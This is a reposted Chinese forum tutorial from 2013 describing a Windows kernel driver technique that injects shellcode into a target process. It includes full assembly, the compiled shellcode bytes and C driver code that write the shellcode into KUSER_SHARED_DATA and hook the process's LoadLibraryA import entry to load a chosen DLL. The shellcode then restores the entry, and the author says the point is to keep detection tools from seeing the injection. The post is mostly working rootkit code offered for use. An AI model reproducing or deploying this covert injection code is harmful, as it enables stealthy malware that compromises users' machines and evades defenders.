【原創】內核ShellCode注入的一種方法


標 題: 【原創】內核ShellCode注入的一種方法
作 者: organic
時 間: 2013-05-04,04:34:08
鏈 接: http://bbs.pediy.com/showthread.php?t=170959

最近學習內核注入,看見一篇老文章《rootkit之[七]IAT Hook -- HybridHook之終極打造》鏈接:http://bbs.pediy.com/showthread.php?t=60778,利用KUSER_SHARED_DATA寫入shellcode在ring3下彈出一個消息框,於是想利用此方法來進行內核注入,但不想慘遇藍屏,於是翻書多日並琢磨摸索,終於成功,詳細如下

一、先寫一段shellcode
主要思路是:
1、  程序開始加載時,通過內核修改LoadLibraryA在其IAT中的地址,指向我們的shellcode
2、  Shellcode中首先調用LoadLibraryA加載我們要注入的Dll
3、  通過PEB找到kernel32.dll基地址
4、  調用GetAPI搜索kernel32.dll找到VirtualProtect的地址,開始用了別人寫的一個GetAPI,老是出問題,就自己寫了個,由於kernel32.dll中FAT和FNT剛好對應,就沒用FOT進行判斷了(偷懶下,有興趣的朋友可以自行修改)
5、  調用VirtualProtect修改程序LoadLibraryA在其IAT中地址的讀寫屬性(不改的話會出現寫保護錯誤),恢復LoadLibraryA正確的地址,這樣一般工具就檢查不出我們對程序進行了IAT hook了
6、  跳轉回LoadLibraryA繼續執行
代碼:
代碼:
jmp  ShellCodeStart
  Addr_IAT_LoadLibraryA  dd 402000h        ;LoadLibraryA在IAT中的地址,由注入函數寫入
  Addr_LoadLibraryA       dd 7C801D77h      ;LoadLibraryA的地址,由注入函數寫入,在ShellCode + 2 + 4處
  Addr_VirtualProtectName  db  "VirtualProtect",0  ;VirtualProtect名稱的地址
  Addr_LoadDllName    db  "InputDll.dll",0
  
  
  ShellCodeStart:
  push  ebx
  push  ecx
  push  edx
  push  esi
  push  edi
  push  ebp
  
  xor   ecx, ecx                ;查找kernel32.dll基址放入eax,xor ecx, ecx不可丟
  assume   fs:nothing
  mov    esi, fs:[30h]              ;取PEB
  mov   esi, [esi+0Ch]
  mov   esi, [esi+1Ch]
  InInitializationOrderModuleList:
  mov   eax, ds:[esi+8]
  mov   edi, ds:[esi+20h]
  mov   esi, ds:[esi]
  cmp   WORD ptr ds:[edi+18h],cx
  jnz   InInitializationOrderModuleList

  
  push  ebp
  call  RelocLocation              ;push eip,eip = 新RelocLocation的地址
  RelocLocation:
  pop    ebp                    ;將eip出棧給ebp,ebp = 新RelocLocation的地址
  sub    ebp, offset RelocLocation        ;ebp = ebp - offset RelocLocation(原RelocLocation地址)= 新舊地址的差值(參考重定位),后續需重定位的地址 = 原地址 + ebp
  
  mov    ecx, ebp                ;取Addr_VirtualProtectName重定位后的地址並壓棧
  add    ecx, offset Addr_VirtualProtectName
  invoke  GetAPI, eax, ecx, 14          ;調用GetAPI獲取VirtualProtect的地址
  mov    ebx, eax                ;將獲取的地址放入ebx中

  mov    eax, ebp                ;取Addr_LoadDllName重定位后的地址並壓棧
  add    eax, offset Addr_LoadDllName
  push  eax
  lea    esi, [ebp + Addr_LoadLibraryA]      ;取Addr_LoadLibraryA重定位后的地址,並調用LoadLibraryA
  call  DWORD ptr [esi]              ;API為stdcall調用,自平衡堆棧
  
  mov    edi, [ebp + Addr_IAT_LoadLibraryA]    ;取LoadLibraryA在IAT的地址
  push  eax                    ;隨便壓棧一個數,我們要用這個數的地址作為VirtualProtect的lpflOldProtect的地址,因為ShellCode的代碼段不可寫,只能用堆棧返回
  
  push  esp                    ;調用VirtualProtect修改IAT的寫保護
  push  PAGE_READWRITE
  push  4
  push  edi
  call  ebx
  
  pop    eax
  
  mov    eax, [esi]                ;[esi] = LoadLibraryA的地址
  mov    [edi], eax                ;將LoadLibraryA在IAT的地址改為IDHookLoadLibraryA的地址
  
  pop    ebp                    ;平衡
  pop    ebp
  pop    edi
  pop    esi
  pop    edx
  pop    ecx
  pop    ebx
  
  jmp    eax                    ;跳轉至LoadLibraryA繼續執行
   


GetAPI proc _Kernel32Base:DWORD, _szAPIName:DWORD, _APINameLength:DWORD
  local  @SizeOfFNT:DWORD
  local  @APIAddr:DWORD
  
  pushad
  
  mov    ebx, _Kernel32Base
  assume  ebx:ptr IMAGE_DOS_HEADER
  add    ebx, [ebx].e_lfanew                         ;取PE的首地址,即PE標志位
  assume  ebx:ptr IMAGE_NT_HEADERS
  mov    ebx, [ebx].OptionalHeader.DataDirectory.VirtualAddress
  add    ebx, _Kernel32Base
  
  assume  ebx:ptr IMAGE_EXPORT_DIRECTORY
  mov    eax, [ebx].NumberOfNames                      ;將函數總數乘以4,得FNT表大小
  shl    eax, 2
  mov    @SizeOfFNT, eax
  mov    edi, [ebx].AddressOfNames                      ;獲取輸出表API名稱查詢表(FNT)RVA
  add    edi, _Kernel32Base                          ;獲取輸出表API名稱查詢表(FNT)內存地址
  mov    esi, _szAPIName
  mov    ecx, _APINameLength
  xor    edx, edx
  xor    eax, eax                              ;eax置0

  .while  edx < @SizeOfFNT                          ;遍歷Dll所有函數名稱,當計數edx=Dll函數總數時退出循環
    
    push  ecx                                ;保存字符串長度
    push  edi                                ;保存edi,比較API名稱
    push  esi
    
    mov    edi, [edi]                            ;取API名稱的RVA
    add    edi, _Kernel32Base                        ;取API名稱的內存地址
    cld
    repe  cmpsb
    
    pop    esi                                ;將esi重新指向_szAPIName首地址
    pop    edi
    pop    ecx
    jnz    FAA_FindExportAPIAddr_NoFind                  ;如果ecx=0,說明函數字符全部相同
    mov    eax, [ebx].AddressOfFunctions                  ;取FAT表RVA
    add    eax, _Kernel32Base                        ;取FAT表RVA內存地址
    add    eax, edx                            ;取查找函數FAT表項的地址
    mov    eax, [eax]                            ;取查找函數的RVA
    add    eax, _Kernel32Base                        ;取查找函數的內存地址
    mov    @APIAddr, eax
    .break                                  ;找到則退出循環
    
    FAA_FindExportAPIAddr_NoFind:
    add   edx, 4                              ;計數+4指向下一個FNT表項
    add    edi, 4                              ;edi指向下一個FNT表項
    
  .endw  
  
  assume  ebx:nothing
  popad
  mov    eax, @APIAddr
  ret  
最后生成的shellcode如下:
0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00

二、借鑒《rootkit之[七]IAT Hook -- HybridHook之終極打造》寫內核,但發現采用pPeb->LoaderData->InLoadOrderModuleList遍歷進程所加載模塊藍屏,於是跟了下,發現遍歷已有的進程沒問題,但打開我們的測試程序時就藍屏,開WinDbg進入查看PEB發現測試程序第一次加載user32.dll時pPeb->LoaderData竟然為NULL,明顯是這里引起的。所以我懷疑Windows映射user32.dll到程序時,進程Peb只進行了初始化,但未將其結構全部填充,有知道的大牛請指導指導
名稱:  LoaderData為NULL.jpg
查看次數: 5
文件大小:  65.0 KB
  借鑒《rootkit之[七]IAT Hook -- HybridHook之終極打造》失敗,怎么辦呢,既然Peb未填充完全,我們再去看看EPROCESS是否能行,如下圖所示,EProcess->ImageFileName已正確的初始化了,於是利用EProcess->ImageFileName檢查是否是我們要注入的進程,但在測試的時候發現ImageFileName處所顯示的名稱很詭異,有時候會顯示“DllLoad.exee”,還有時候是“DllLoad.e”,但“DllLoad”始終可以正確顯示的,於是就寫了個CheckProcessName以進程名(不包括exe)稱判斷是否是我們要注入的進程,同時利用SectionBaseAddress參數獲取注入進程基址。 
名稱:  ImageFileName.jpg
查看次數: 1
文件大小:  48.9 KB
代碼:
代碼:
//名稱:HookIAT
//功能:將要Hook的IAT地址換為我們shellcode的地址,並將原IAT地址替換為shellcode中要調用的地址
//參數1:_ProcessID= 加載進程的PID
//返回:成功則返回TURE,否則返回FALSE

BOOL HookIAT(IN HANDLE _ProcessID,  IN PUNICODE_STRING _FullImageName)
{
  PEPROCESS  pEProcess;
  PVOID      hModule, pHookAPIAddr;
  BOOL      HookIAT_Ret = FALSE;

  if (PsLookupProcessByProcessId(_ProcessID, &pEProcess) == STATUS_SUCCESS)
  {
    if (CheckProcessName(pEProcess->ImageFileName, HOOKPROCESSNAME) && (staHookFlag == FALSE))
    {
      KdPrint(("加載Dll=%wZ\n", _FullImageName));
      //KdPrint(("_ProcessID=%x\n", (ULONG)_ProcessID));
      //KdPrint(("pEProcess=%x\n", (ULONG)pEProcess));
      KdPrint(("進程名稱=%s\n", pEProcess->ImageFileName));
      hModule = pEProcess->SectionBaseAddress;
      //KdPrint(("基地址=%x\n", (DWORD)hModule));

      KeAttachProcess(pEProcess);                            //切換至ring3空間
      
      pHookAPIAddr = FindIATAddr(hModule, HOOKDLLNAME, HOOKAPINAME);
      
      if (pHookAPIAddr)
      {
        if(InjectCode(pHookAPIAddr))
        {
          staHookFlag = TRUE;
          KdPrint(("ShellCode注入成功"));
          //UnInjectDll();
        }
        else
        {
          KdPrint(("ShellCode注入失敗"));
        }
      } 
      else
      {
        KdPrint(("%s函數的IAT地址未找到\n", HOOKAPINAME));
      }
      
      KeDetachProcess();
    }
  }

  return HookIAT_Ret;
}
接下來就是搜索我們要注入的進程的IAT,找到LoadLibraryA的地址和IAT地址
代碼:
代碼:
//名稱:FindIATAddr
//功能:尋找指定導入表函數名稱的IAT地址
//參數1:pMapView = 模塊的映射基址
//參數2:pszDllName = Dll名稱
//參數3:pszAPIName = 函數名稱
//返回:成功則返回函數在導入表的地址,否則返回NULL
PVOID FindIATAddr(PVOID _pMapView, PCHAR  _pszDllName , PCHAR  _pszAPIName)
{
  DWORD  RVA_ImportDirectory;
  DWORD  DllNum, i, index;
  PVOID    pDllName;
  PWORD    pIAT, pINT;
  PIMAGE_IMPORT_BY_NAME pAPIName;
  IMAGE_DOS_HEADER *pImg_DosHeader;
  IMAGE_NT_HEADERS *pImg_NtHeader;
  PIMAGE_IMPORT_DESCRIPTOR pImg_ImportDirectory;
  
  pImg_DosHeader = _pMapView;
  (ULONG)pImg_NtHeader = (ULONG)pImg_DosHeader + pImg_DosHeader->e_lfanew;
  if (pImg_NtHeader->Signature != 0x4550)                    //判斷是否為標准PE文件          
  {
    KdPrint(("該文件不是標准PE文件\n"));
    return  NULL;    
  }  
  
  RVA_ImportDirectory = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
  DllNum = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size / sizeof(IMAGE_IMPORT_DESCRIPTOR) ;
  DllNum --;
  if (RVA_ImportDirectory ==0)
  {
    KdPrint(("該程序沒有輸入表\n"));
    return  NULL;
  }
  KdPrint(("Dll數目=%d \n", DllNum));

  (DWORD)pImg_ImportDirectory = (DWORD)_pMapView + RVA_ImportDirectory;
  for (i=0; i<DllNum ; i++)
  {
    (DWORD)pDllName = pImg_ImportDirectory[i].Name + (DWORD)_pMapView;
    //KdPrint(("Dll名稱為%s: \n", pDllName));

    if(VK_CmpString(pDllName, _pszDllName))
    {
      KdPrint(("%s已找到, i=%d  \n", pDllName, i));
      (DWORD)pImg_ImportDirectory += i*sizeof(IMAGE_IMPORT_DESCRIPTOR);
      (DWORD)pIAT = (DWORD)_pMapView + pImg_ImportDirectory->FirstThunk;
      (DWORD)pINT =  (DWORD)_pMapView + pImg_ImportDirectory->OriginalFirstThunk;
      for (index =0; pIAT[index] != 0; index++)
      {
        if ((pINT[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)          //IMAGE_ORDINAL_FLAG =0x80000000,即當INT最高位為0時表示已函數名導入
        {
          (DWORD)pAPIName = (DWORD)_pMapView + pINT[index];
          //KdPrint(("API名稱為%s: \n", pAPIName->Name));
          if (VK_CmpString((PCHAR)pAPIName->Name, _pszAPIName))
          {
            KdPrint(("%s函數已找到,IAT地址 =%x \n", pAPIName, &pIAT[index] ));
            return  &pIAT[index];
          }
        }
      }
    }
  }
  return NULL;
}
然后注入我們的shellcode,原《rootkit之[七]IAT Hook -- HybridHook之終極打造》中只Hook了GetProcAddress,未對其寫回,所以只修改了shellcode中GetProcAddress的地址,由於我們內核注入Dll為了隱蔽,不能讓工具或程序檢測到我們IAT注入,所以我們這里也要將LoadLibraryA的IAT地址寫入shellcode,再由shellcode將注入進程的IAT恢復,這樣進程運行起來后就不知道被注入過了。
代碼
代碼:
//名稱:InjectCode
//功能:注入代碼
//參數1:_pIATAddr = 函數在導入表的地址,將此處改寫為我們注入代碼的地址
//返回:成功則返回STATUS_SUCCESS,否則返回STATUS_UNSUCCESSFUL

BOOL InjectCode(PVOID _pIATAddr)
{
  PMDL  pMDL;
  PDWORD pHookAddr;
  DWORD Addr_sharedM = 0x7ffe0800;        //KUSER_SHARED_DATA在ring3的地址 + ShellCode的偏移    
  DWORD Addr_sharedK = 0xffdf0800;         //KUSER_SHARED_DATA在ring0的地址 + ShellCode的偏移
  unsigned char Shellcode[] = {
    0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C
    ,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E
    ,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E
    ,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50
    ,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08
    ,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2
    ,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45
    ,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00 }; 
  
  KdPrint(("_pIATAddr = %x\n",  (DWORD)_pIATAddr ));
  pMDL = MmCreateMdl(NULL, _pIATAddr, 4);
  if (!pMDL)
  {
    KdPrint(("創建MDL失敗\n"));
    return  FALSE;
  }
  MmBuildMdlForNonPagedPool(pMDL);
  pMDL->MdlFlags = pMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  pHookAddr = MmMapLockedPages(pMDL, KernelMode);
  //_asm int 3

  RtlCopyMemory((PVOID)Addr_sharedK, Shellcode, 249);
  _asm                                                         //將LoadLibraryA輸出表地址地址和LoadLibraryA地址寫入ShellCode中
  {
    pushad
    
    mov    eax, _pIATAddr
    mov    edx, Addr_sharedK
    add    edx, 2
    mov    [edx], eax
    mov    eax, [eax]
    add    edx, 4
    mov    [edx], eax

    popad
  }
  //RtlCopyMemory((PVOID)(Addr_sharedK +5), _pIATAddr, 4);                    
  *pHookAddr = Addr_sharedM;                                    //將LoadLibraryA輸出表地址改為0x7ffe0800(ShellCode地址)
  
  MmUnmapLockedPages(pHookAddr, pMDL);
  IoFreeMdl(pMDL);

  return  TRUE;
}

最后再附上一個解除LoadImageNotifyRoutine的代碼,《rootkit之[七]IAT Hook -- HybridHook之終極打造》中稍微復雜,但可兼容window2000,這里我們直接調用PsRemoveLoadImageNotifyRoutine
代碼:
//名稱:UnInjectDll
//功能:PsSetLoadImageNotifyRoutine的回調函數,
//參數1:無
//返回:無
NTSTATUS UnInjectDll()
{
  NTSTATUS  RetStatus;

  RetStatus = PsRemoveLoadImageNotifyRoutine(CallImageNotifyRoutines);
  if (RetStatus == STATUS_SUCCESS)
  {
    KdPrint(("回調函數已解除\n"));
  }
  return  RetStatus;
}
程序運行效果如下:
未注入前按下Test按鈕:
  名稱:  未注入前.jpg
查看次數: 2
文件大小:  18.6 KB
注入后按下Test按鈕: 
名稱:  注入后.jpg
查看次數: 2
文件大小:  20.4 KB
最后發現用這個方法注入后會產生了3個LoadDll.exe進程,且其中2個在任務管理器中不能關閉,原因不明,有知道的煩請告訴我下
名稱:  注入后產生多個關不掉的程序.jpg
查看次數: 1
文件大小:  24.6 KB

源碼和測試程序: 源碼和測試程序.zip.
測試方法,用工具加載InjectDll,然后運行DllLoad,點擊Test按鈕*轉載請注明來自看雪論壇@PEdiy.com
 
jpg改rar 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM